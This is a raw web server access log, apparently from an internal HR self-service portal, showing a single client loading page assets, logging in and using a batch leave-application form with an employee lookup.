[05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.157 - - [05/Dec/2025:16:54:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.11.157 - - [05/Dec/2025:16:54:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.11.157 - - [05/Dec/2025:16:54:51 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:51 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.157 - - [05/Dec/2025:16:54:56 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:56 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.11.157 - - [05/Dec/2025:16:54:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.11.157 - - [05/Dec/2025:16:54:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.157 - - [05/Dec/2025:16:54:59 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 192.168.11.157 - - [05/Dec/2025:16:54:59 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:59 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:59 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 192.168.11.157 - - [05/Dec/2025:16:55:02 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:55:02 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630 192.168.11.157 - - [05/Dec/2025:16:55:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:55:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.157 - - [05/Dec/2025:16:55:02 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:55:02 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 192.168.11.157 - - [05/Dec/2025:16:55:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:55:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.157 - - [05/Dec/2025:16:55:02 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:55:02 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.11.157 - - [05/Dec/2025:16:55:02 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568 192.168.11.157 - - [05/Dec/2025:16:55:02 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:55:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8191443794635835 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:55:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8191443794635835 HTTP/1.1" 200 8816 192.168.11.157 - - [05/Dec/2025:16:55:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8191443794635835 HTTP/1.1" 200 10995 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8191443794635835" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:55:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8191443794635835 HTTP/1.1" 200 10995 192.168.11.157 - - [05/Dec/2025:16:55:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8191443794635835 HTTP/1.1" 200 10989 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8191443794635835" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:55:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8191443794635835 HTTP/1.1" 200 10989 192.168.11.157 - - [05/Dec/2025:16:55:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:55:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 192.168.11.157 - - [05/Dec/2025:16:55:48 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 